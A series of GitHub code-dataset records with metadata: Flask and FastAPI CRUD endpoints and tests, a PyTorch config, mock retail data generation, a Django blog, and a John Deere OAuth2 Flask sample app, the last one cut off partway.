test_post(self):\r\n\r\n token = self.get_token()\r\n\r\n response = self.client.post(\r\n \"/brands\",\r\n headers = {\r\n \"Authentication\": token\r\n },\r\n data = json.dumps({\r\n \"brand_name\": \"Brand A\"\r\n }),\r\n content_type = \"application/json\"\r\n )\r\n\r\n response_json = json.loads(response.data.decode(\"utf-8\"))\r\n\r\n brand = BrandRepository.get_by(title=\"Brand A\").one_or_none()\r\n\r\n self.assertEqual(response.status_code, 201)\r\n self.assertEqual(\r\n response_json,\r\n {\r\n \"message\": \"Brand added\"\r\n }\r\n )\r\n self.assertEqual(brand.title, \"Brand A\")\r\n\r\n def test_put(self):\r\n\r\n BrandRepository.create(\"Brand A\")\r\n brand = BrandRepository.get_by(title=\"Brand A\").one_or_none()\r\n brand_id = str(brand.id)\r\n\r\n token = self.get_token()\r\n\r\n response = self.client.put(\r\n f\"/brands/{brand_id}\",\r\n headers = {\r\n \"Authentication\": token\r\n },\r\n data = json.dumps({\r\n \"brand_name\": \"Brand B\"\r\n }),\r\n content_type = \"application/json\"\r\n )\r\n\r\n response_json = json.loads(response.data.decode(\"utf-8\"))\r\n\r\n new_brand = BrandRepository.get_by(id=brand_id).one_or_none()\r\n\r\n self.assertEqual(response.status_code, 200)\r\n self.assertEqual(\r\n response_json,\r\n {\r\n \"message\": \"Brand updated\"\r\n }\r\n )\r\n self.assertEqual(new_brand.title, \"Brand B\")\r\n\r\n def test_delete(self):\r\n\r\n BrandRepository.create(\"Brand A\")\r\n brand = BrandRepository.get_by(title=\"Brand A\").one_or_none()\r\n brand_id = str(brand.id)\r\n\r\n token = self.get_token()\r\n\r\n response = self.client.delete(\r\n f\"/brands/{brand_id}\",\r\n headers = {\r\n \"Authentication\": token\r\n }\r\n )\r\n\r\n response_json = json.loads(response.data.decode(\"utf-8\"))\r\n\r\n self.assertEqual(response.status_code, 200)\r\n self.assertEqual(\r\n response_json,\r\n {\r\n \"message\": \"Brand deleted\"\r\n }\r\n )\r\n self.assertNotEqual(brand.deleted_at, None)", "repo_name": "Cizz22/final-project", "sub_path": "test/test_brand.py", "file_name": "test_brand.py", "file_ext": "py", "file_size_in_byte": 4352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "unittest.TestCase", "line_number": 8, "usage_type": "attribute"}, {"api_name": "server.server.config", "line_number": 20, "usage_type": "attribute"}, {"api_name": "server.server", "line_number": 20, "usage_type": "name"}, {"api_name": "server.server.test_client", "line_number": 21, "usage_type": "call"}, {"api_name": "server.server", "line_number": 21, "usage_type": "name"}, {"api_name": "server.server.app_context", "line_number": 24, "usage_type": "call"}, {"api_name": "server.server", "line_number": 24, "usage_type": "name"}, {"api_name": "models.abc.db.create_all", "line_number": 26, "usage_type": "call"}, {"api_name": "models.abc.db", "line_number": 26, "usage_type": "name"}, {"api_name": "models.abc.db.session.remove", "line_number": 29, "usage_type": "call"}, {"api_name": "models.abc.db.session", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.abc.db", "line_number": 29, "usage_type": "name"}, {"api_name": "models.abc.db.drop_all", "line_number": 30, "usage_type": "call"}, {"api_name": "models.abc.db", "line_number": 30, "usage_type": "name"}, {"api_name": "repositories.UserRepository.create", "line_number": 34, "usage_type": "call"}, {"api_name": "repositories.UserRepository", "line_number": 34, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 38, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 45, "usage_type": "call"}, {"api_name": "repositories.BrandRepository.create", "line_number": 51, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 51, "usage_type": "name"}, {"api_name": "repositories.BrandRepository.create", "line_number": 52, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 52, "usage_type": "name"}, {"api_name": "repositories.BrandRepository.get_all", "line_number": 54, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 54, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 67, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 86, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 92, "usage_type": "call"}, {"api_name": "repositories.BrandRepository.get_by", "line_number": 94, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 94, "usage_type": "name"}, {"api_name": "repositories.BrandRepository.create", "line_number": 107, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 107, "usage_type": "name"}, {"api_name": "repositories.BrandRepository.get_by", "line_number": 108, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 108, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 118, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 124, "usage_type": "call"}, {"api_name": "repositories.BrandRepository.get_by", "line_number": 126, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 126, "usage_type": "name"}, {"api_name": "repositories.BrandRepository.create", "line_number": 139, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 139, "usage_type": "name"}, {"api_name": "repositories.BrandRepository.get_by", "line_number": 140, "usage_type": "call"}, {"api_name": "repositories.BrandRepository", "line_number": 140, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 152, "usage_type": "call"}]} +{"seq_id": "2602450713", "text": "import os\n\nimport torch\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # sets device for model and PyTorch tensors\n\n# BATCH_SIZE = 256\nBATCH_SIZE = 256\nSAVE_FREQ = 1 # save the model every _ epoch\nTEST_FREQ = 5\nTOTAL_EPOCH = 100\n\nRESUME = ''\nSAVE_DIR = './saved_models'\n\nGPU = 0, 1\n\n# Model parameters\nimage_w = 224\nimage_h = 224\nchannel = 3\nemb_size = 512\n\n# Training parameters\nnum_workers = 4 # for data-loading; right now, only 1 works with h5py\ngrad_clip = 5. # clip gradients at an absolute value of\nprint_freq = 120 # print training/validation state every __ batches\ncheckpoint = None # path to checkpoint, None if none\n\n# Data parameters\nnum_classes = 640\nnum_samples = 12800\n\npickle_file = 'data/faces_ms1m_112x112.pickle'", "repo_name": "jiaqiLv/Computer-Vision-2023", "sub_path": "Palmprint_Recognition/model/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 762, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "85", "api": [{"api_name": "torch.device", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 5, "usage_type": "attribute"}]} +{"seq_id": "8718765653", "text": "from fastapi import Depends, APIRouter, Response, status, HTTPException\nfrom sqlalchemy import exc\nfrom sqlalchemy.orm import Session\nfrom app.database.database import get_db\nfrom typing import List, Any\nfrom app import schemas\nfrom app.services.departmentService import departmentService\n\n# Defining the router\nrouter = APIRouter(\n prefix=\"/departments\",\n tags=[\"department\"],\n responses={404: {\"description\": \"Not Found\"}},\n)\n\n\"\"\"\n A generic CRUD router can be created. \n Specifically for employee, client, contact , department endpoints as they use only CRUD functionality\n\"\"\"\n\n\ndef not_found_exception(id):\n \"\"\"\n Not founds with specific ID exception\n \"\"\"\n\n return HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Department with id= {id} not found\"\n )\n\n\n@router.get(\"/\", response_model=List[schemas.DepartmentOut])\ndef get_all_departments(db: Session = Depends(get_db)):\n \"\"\"\n Get all departments as LIST\n \"\"\"\n\n all_department = departmentService.get_multiple(db=db)\n return all_department\n\n\n@router.get(\"/{id}\", response_model=schemas.DepartmentOut)\ndef get_department(id: int, db: Session = Depends(get_db), ):\n \"\"\"\n Get a department by its ID\n \"\"\"\n\n db_department = departmentService.get(db=db, id=id)\n if not db_department:\n raise not_found_exception(id)\n\n return db_department\n\n\n@router.post(\"/\", response_model=schemas.DepartmentOut, status_code=status.HTTP_201_CREATED)\ndef create_department(department: schemas.DepartmentBase, db: Session = Depends(get_db), ):\n \"\"\"\n Create a department\n \"\"\"\n\n try:\n db_department = departmentService.create(db=db, obj_in=department)\n except (exc.IntegrityError) as e:\n print(e.orig)\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"Invalid input\")\n\n return db_department\n\n\n@router.put(\"/{id}\", response_model=schemas.DepartmentOut)\ndef update_department(*,\n id: int,\n db: Session = Depends(get_db),\n department_update: schemas.DepartmentBase,\n ) -> Any:\n \"\"\"\n Update a specific department\n \"\"\"\n\n db_department = departmentService.get(db=db, id=id)\n if not db_department:\n raise not_found_exception(id)\n\n try:\n db_department_updated = departmentService.update(db=db, obj_in=department_update, id=id)\n except (exc.IntegrityError) as e:\n print(e.orig)\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"Invalid input\")\n\n\n return db_department_updated\n\n\n@router.delete(\"/{id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef delete_department(*, db: Session = Depends(get_db), id: int, ):\n \"\"\"\n Delete a specific department\n \"\"\"\n\n db_department = departmentService.get(db=db, id=id)\n if not db_department:\n raise not_found_exception(id)\n\n departmentService.delete(db=db, id=id)\n\n return Response(status_code=status.HTTP_204_NO_CONTENT)\n", "repo_name": "logichainge/logichainge-backend", "sub_path": "app/routes/departmentEndpoints.py", "file_name": "departmentEndpoints.py", "file_ext": "py", "file_size_in_byte": 3019, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "fastapi.APIRouter", "line_number": 10, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 27, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_404_NOT_FOUND", "line_number": 28, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 34, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 34, "usage_type": "call"}, {"api_name": "app.database.database.get_db", "line_number": 34, "usage_type": "argument"}, {"api_name": "app.services.departmentService.departmentService.get_multiple", "line_number": 39, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 33, "usage_type": "name"}, {"api_name": "app.schemas.DepartmentOut", "line_number": 33, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 33, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 44, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 44, "usage_type": "call"}, {"api_name": "app.database.database.get_db", "line_number": 44, "usage_type": "argument"}, {"api_name": "app.services.departmentService.departmentService.get", "line_number": 49, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 49, "usage_type": "name"}, {"api_name": "app.schemas.DepartmentOut", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 43, "usage_type": "name"}, {"api_name": "app.schemas.DepartmentBase", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 57, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 57, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 57, "usage_type": "call"}, {"api_name": "app.database.database.get_db", "line_number": 57, "usage_type": "argument"}, {"api_name": "app.services.departmentService.departmentService.create", "line_number": 63, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 63, "usage_type": "name"}, {"api_name": "sqlalchemy.exc.IntegrityError", "line_number": 64, "usage_type": "attribute"}, {"api_name": "sqlalchemy.exc", "line_number": 64, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 66, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_400_BAD_REQUEST", "line_number": 66, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 66, "usage_type": "name"}, {"api_name": "app.schemas.DepartmentOut", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 56, "usage_type": "name"}, {"api_name": "fastapi.status.HTTP_201_CREATED", "line_number": 56, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 56, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 74, "usage_type": "name"}, {"api_name": "app.schemas.DepartmentBase", "line_number": 75, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 75, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 74, "usage_type": "call"}, {"api_name": "app.database.database.get_db", "line_number": 74, "usage_type": "argument"}, {"api_name": "app.services.departmentService.departmentService.get", "line_number": 81, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 81, "usage_type": "name"}, {"api_name": "app.services.departmentService.departmentService.update", "line_number": 86, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 86, "usage_type": "name"}, {"api_name": "sqlalchemy.exc.IntegrityError", "line_number": 87, "usage_type": "attribute"}, {"api_name": "sqlalchemy.exc", "line_number": 87, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 89, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_400_BAD_REQUEST", "line_number": 89, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 89, "usage_type": "name"}, {"api_name": "app.schemas.DepartmentOut", "line_number": 71, "usage_type": "attribute"}, {"api_name": "app.schemas", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 76, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 96, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 96, "usage_type": "call"}, {"api_name": "app.database.database.get_db", "line_number": 96, "usage_type": "argument"}, {"api_name": "app.services.departmentService.departmentService.get", "line_number": 101, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 101, "usage_type": "name"}, {"api_name": "app.services.departmentService.departmentService.delete", "line_number": 105, "usage_type": "call"}, {"api_name": "app.services.departmentService.departmentService", "line_number": 105, "usage_type": "name"}, {"api_name": "fastapi.Response", "line_number": 107, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_204_NO_CONTENT", "line_number": 107, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 107, "usage_type": "name"}, {"api_name": "fastapi.status.HTTP_204_NO_CONTENT", "line_number": 95, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 95, "usage_type": "name"}]} +{"seq_id": "35776297435", "text": "import pandas as pd\nimport random\nimport datetime\n\nfrom decrease_stock import decrease_stock\n\n\n# remaining_stock이 0인 데이터를 찾아, 다시 mocking하는 코드\ndef add_sequence(item_id: int, trend_prob: list, start_date: str):\n remaining_stock = [100, 110, 120, 130, 140][\n (item_id - 1) % 5\n ] # random.choice([100, 110, 120, 130, 140])\n # start_date으로부터 이틀 후 07시부터 시작(이 때 재고량이 채워진다고 가정)\n start_date = datetime.datetime.strptime(start_date, \"%Y-%m-%d %H:%M:%S\")\n timestamp = start_date + datetime.timedelta(days=2)\n timestamp = timestamp.replace(hour=7, minute=0, second=0)\n\n # 재고가 채워진 시점의 데이터\n sales_data = [\n {\n \"item_id\": item_id,\n \"remaining_stock\": remaining_stock,\n \"timestamp\": timestamp.strftime(\"%Y-%m-%d %H:%M:%S\"),\n }\n ]\n\n while remaining_stock > 0:\n # 간격을 최소 30분으로 두고 이벤트 생성\n minutes_offset = random.randint(30, 300)\n timestamp += datetime.timedelta(minutes=minutes_offset)\n\n sales_data, remaining_stock = decrease_stock(\n sales_data=sales_data,\n remaining_stock=remaining_stock,\n timestamp=timestamp,\n item_id=item_id,\n trend_prob=trend_prob[timestamp.hour // 2],\n )\n\n # 재고가 30개 이하인 경우, 50% 확률로 사이클 종료\n if remaining_stock <= 30 and random.random() < 0.5:\n break\n\n return sales_data\n\n\n# 이전 사이클의 마지막 시점을 찾아내 해당 item_id와 함께 list로 반환하는 method\ndef find_last_stock_date(df):\n last_event_of_prev_cycle = []\n for i in df[\"item_id\"].unique():\n temp_df = df[df[\"item_id\"] == i]\n last_event_of_prev_cycle.append([i, temp_df[\"timestamp\"].max()])\n\n return last_event_of_prev_cycle\n\n\n# 한 사이클을 더 추가하는 method\ndef add_cycle(origin_df: pd.DataFrame, trend_probs: list) -> pd.DataFrame:\n addition_sales_data = []\n # trend_probs = calc_prob(first_cycle_ver6)\n for item_id, end_date in find_last_stock_date(origin_df):\n addition_sales_data += add_sequence(item_id, trend_probs[item_id], end_date)\n\n addition_sales_df = pd.DataFrame(addition_sales_data)\n\n new_df = pd.concat([origin_df, addition_sales_df], axis=0)[\n [\"item_id\", \"remaining_stock\", \"timestamp\"]\n ]\n\n return new_df\n", "repo_name": "hou27/mock_mart_data", "sub_path": "add_cycle.py", "file_name": "add_cycle.py", "file_ext": "py", "file_size_in_byte": 2451, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 15, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 30, "usage_type": "call"}, {"api_name": "decrease_stock.decrease_stock", "line_number": 32, "usage_type": "call"}, {"api_name": "random.random", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 66, "usage_type": "call"}]} +{"seq_id": "73542596438", "text": "import sys\nfrom itertools import permutations\nfrom collections import deque\n\nn = int(sys.stdin.readline().rstrip())\nnumbers = list(sys.stdin.readline().rstrip().split())[:n]\noperator_data = list(map(int, sys.stdin.readline().rstrip().split()))[:4]\noperators = deque()\ndic = {0: '+', 1: '-', 2: '*', 3: '//'}\n\nfor i in range(4):\n for _ in range(operator_data[i]):\n operators.append(dic[i])\n\nmin_value = 1e9 + 1\nmax_value = -1e9 - 1\n\nfor candidate in set(permutations(operators)):\n answer = '0'\n candidate = deque(candidate)\n candidate.appendleft('+')\n\n for i in range(n):\n answer = (\n '-' + str(eval('-' + answer + candidate[i] + numbers[i])) if int(answer) < 0 and candidate[i] == '//'\n else str(eval(answer + candidate[i] + numbers[i]))\n )\n\n max_value = max(max_value, int(answer))\n min_value = min(min_value, int(answer))\n\nprint(max_value)\nprint(min_value)\n", "repo_name": "ddu0422/cloud", "sub_path": "Algorithm/DongBinNa/dfs_bfs/practice/05_05.py", "file_name": "05_05.py", "file_ext": "py", "file_size_in_byte": 923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.stdin.readline", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 8, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "36442293039", "text": "\"\"\"Compares the logprep output with an expected value.\"\"\"\n\nimport json\n\nfrom deepdiff import DeepDiff\n\n\ndef parse_json_path(path):\n output_jsonl = []\n with open(path) as jsonl_file:\n json_lines = jsonl_file.readline()\n json_lines = json_lines.replace('} {\"@timestamp', '}\\n{\"@timestamp').splitlines()\n for json_line in json_lines:\n output_jsonl.append(json.loads(json_line))\n return output_jsonl\n\n\ndef parse_expected(path):\n expected_jsonl = []\n with open(path) as jsonl_file:\n json_lines = jsonl_file.readlines()\n for json_line in json_lines:\n expected_jsonl.append(json.loads(json_line))\n return expected_jsonl\n\n\ndef test_compare_output():\n output_jsonl = parse_json_path(\"tests/testdata/output.jsonl\")\n expected_jsonl = parse_expected(\n \"tests/testdata/acceptance/expected_result/expected_test_compare.jsonl\"\n )\n\n assert DeepDiff(output_jsonl, expected_jsonl, ignore_order=True, report_repetition=True) == {}\n", "repo_name": "fkie-cad/Logprep", "sub_path": "tests/ci/runner-image/scripts/compare_json.py", "file_name": "compare_json.py", "file_ext": "py", "file_size_in_byte": 1006, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "86", "api": [{"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 23, "usage_type": "call"}, {"api_name": "deepdiff.DeepDiff", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "3486193876", "text": "from django.shortcuts import render, get_object_or_404\nfrom .models import Post\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views.generic import ListView\nfrom .forms import EmailPostForm\nfrom django.core.mail import send_mail\n\n\n# Create your views here.\nclass PostListView(ListView):\n queryset = Post.published.all()\n context_object_name = \"posts\"\n paginate_by = 3\n template_name = \"post/detail.html\"\ndef post_list(request):\n object_list = Post.published.all()\n paginator = Paginator(object_list, 3) # 3 posts in each page \n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # if page is not an integer deliver the first page\n posts = paginator.page(1)\n except EmptyPage:\n # if page is out of range deliver last page of results\n posts = paginator.page(paginator.num_pages)\n \n return render(request,'post/list.html', {'posts': posts})\n\ndef post_detail(request,year,month,day,post):\n post =get_object_or_404(Post, slug=post,\n status='published',\n publish__year = year,\n publish__month=month,\n publish__day = day)\n return render(request, 'post/detail.html', {'post':post})\n# handling forms in views\ndef post_share(request, post_id):\n # retrieve post by id \n post = get_object_or_404(Post, id=post_id, status ='published')\n sent = False \n if request.method == \"POST\":\n # form was submitted \n form = EmailPostForm(request.POST)\n if form.is_valid():\n # forms fields passed validation \n cd = form.cleaned_data\n post_url = request.build_absolute_uri(post.get_absolute_url()) # helps you include link to the post in the email \n subject = f\"{cd['name']} recommends you read\"\\\n f\" {post.title}\"\n message = f\"Read{post.title} at {post_url}\\n\\n\"\\\n f\"{cd['name']}\\'s comments:{cd['comments']}\"\n # send email\n send_mail(subject,message, 'ngagadancan2003@gmail.com', {cd['to']})\n \n sent = True\n else:\n form = EmailPostForm()\n return render(request, 'post/share.html', { 'post': post, 'form': form , sent: sent })", "repo_name": "codewithDancan/my_Blog_project", "sub_path": "my_blog/blog_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.views.generic.ListView", "line_number": 10, "usage_type": "name"}, {"api_name": "models.Post.published.all", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Post.published", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 11, "usage_type": "name"}, {"api_name": "models.Post.published.all", "line_number": 16, "usage_type": "call"}, {"api_name": "models.Post.published", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 16, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 17, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 21, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 28, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 31, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 40, "usage_type": "argument"}, {"api_name": "forms.EmailPostForm", "line_number": 44, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 54, "usage_type": "call"}, {"api_name": "forms.EmailPostForm", "line_number": 58, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}]} +{"seq_id": "18725630297", "text": "import base64\nimport datetime\nimport json\nimport uuid\nimport logging\n\nfrom flask import Flask, render_template, request, redirect\nimport requests\nimport urllib.parse\n\napp = Flask(__name__)\n\nSERVER_URL='http://localhost:9090'\n\nsettings = {\n 'apiUrl': 'https://sandboxapi.deere.com/platform',\n 'clientId': '',\n 'clientSecret': '',\n 'wellKnown': 'https://signin.johndeere.com/oauth2/aus78tnlaysMraFhC1t7/.well-known/oauth-authorization-server',\n 'callbackUrl': f\"{SERVER_URL}/callback\",\n 'orgConnectionCompletedUrl': SERVER_URL,\n 'scopes': 'ag1 ag2 ag3 eq1 eq2 org1 org2 files offline_access',\n 'state': uuid.uuid1(),\n 'idToken': '',\n 'accessToken': '',\n 'refreshToken': '',\n 'apiResponse': '',\n 'accessTokenDetails': '',\n 'exp': ''\n}\n\n\ndef populate(data):\n settings['clientId'] = data['clientId']\n settings['clientSecret'] = data['clientSecret']\n settings['wellKnown'] = data['wellKnown']\n settings['callbackUrl'] = data['callbackUrl']\n settings['scopes'] = data['scopes']\n settings['state'] = data['state']\n\n\ndef update_token_info(res):\n json_response = res.json()\n token = json_response['access_token']\n settings['accessToken'] = token\n settings['refreshToken'] = json_response['refresh_token']\n settings['exp'] = datetime.datetime.now() + datetime.timedelta(seconds=json_response['expires_in'])\n (header, payload, sig) = token.split('.')\n payload += '=' * (-len(payload) % 4)\n settings['accessTokenDetails'] = json.dumps(json.loads(base64.urlsafe_b64decode(payload).decode()), indent=4)\n\n\ndef get_location_from_metadata(endpoint):\n response = requests.get(settings['wellKnown'])\n return response.json()[endpoint]\n\n\ndef get_basic_auth_header():\n return base64.b64encode(bytes(settings['clientId'] + ':' + settings['clientSecret'], 'utf-8'))\n\ndef api_get(access_token, resource_url):\n headers = {\n 'authorization': 'Bearer ' + settings['accessToken'],\n 'Accept': 'application/vnd.deere.axiom.v3+json'\n }\n return requests.get(resource_url, headers=headers)\n\ndef render_error(message):\n return render_template('error.html', title='John Deere API with Python', error=message)\n\n\ndef get_oidc_query_string():\n query_params = {\n \"client_id\": settings['clientId'],\n \"response_type\": \"code\",\n \"scope\": urllib.parse.quote(settings['scopes']),\n \"redirect_uri\": settings['callbackUrl'],\n \"state\": settings['state'],\n }\n params = [f\"{key}={value}\" for key, value in query_params.items()]\n return \"&\".join(params)\n\n\n@app.route(\"/\", methods=['POST'])\ndef start_oidc():\n populate(request.form)\n redirect_url = f\"{get_location_from_metadata('authorization_endpoint')}?{get_oidc_query_string()}\"\n\n return redirect(redirect_url, code=302)\n\ndef needs_organization_access():\n \"\"\"Check if a another redirect is needed to finish the connection.\n\n Check to see if the 'connections' rel is present for any organization.\n If the rel is present it means the oauth application has not completed its\n access to an organization and must redirect the user to the uri provided\n in the link.\n \"\"\"\n api_response = api_get(settings['accessToken'], settings['apiUrl']+'/organizations').json()\n for org in api_response['values']:\n for link in org['links']:\n if link['rel'] == 'connections':\n connectionsUri = link['uri']\n query = urllib.parse.urlencode({'redirect_uri': settings['orgConnectionCompletedUrl']})\n return f\"{connectionsUri}?{query}\"\n return None\n\n@app.route(\"/callback\")\ndef process_callback():\n try:\n code = request.args['code']\n headers = {\n 'authorization': 'Basic ' + get_basic_auth_header().decode('utf-8'),\n 'Accept': 'application/json',\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n payload = {\n 'grant_type': 'authorization_code',\n 'redirect_uri': settings['callbackUrl'],\n 'code': code,\n 'scope': settings['scopes']\n }\n\n res = requests.post(get_location_from_metadata('token_endpoint'), data=payload, headers=headers)\n update_token_info(res)\n\n organization_access_url = needs_organization_access()\n if organization_access_url is not None:\n return redirect(organization_access_url, code=302)\n\n\n return index()\n except Exception as e:\n logging.exception(e)\n return render_error('Error getting token!')\n\n\n@app.route(\"/call-api\", methods=['POST'])\ndef call_the_api():\n try:\n url = request.form['url']\n res = api_get(settings['accessToken'], url)\n settings['apiResponse'] = json.dumps(res.json(), indent=4)\n return index()\n except Exception as e:\n logging.exception(e)\n return render_error('Error calling API!')\n\n\n@app.route(\"/refresh-access-token\")\ndef refresh_access_token():\n try:\n headers = {\n 'authorization': 'Basic ' + get_basic_auth_header().decode('utf-8'),\n 'Accept': 'application/json',\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n\n payload = {\n 'grant_type': 'refresh_token',\n 'redirect_uri': settings['callbackUrl'],\n 'refresh_token': settings['refreshToken'],\n 'scope': settings['scopes']\n }\n\n res = requests.post(get_location_from_metadata('token_endpoint'), data=payload, headers=headers)\n update_token_info(res)\n return index()\n except Exception as e:\n logging.exception(e)\n return render_error('Error getting refresh token!')\n\n\n@app.route(\"/\")\ndef index():\n return render_template('main.html', title='John Deere API with Python', settings=settings)\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=9090)\n", "repo_name": "JohnDeere/MyJohnDeereAPI-OAuth2-Python-Example", "sub_path": "john-deere-api.py", "file_name": "john-deere-api.py", "file_ext": "py", "file_size_in_byte": 5878, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "uuid.uuid1", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 50, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 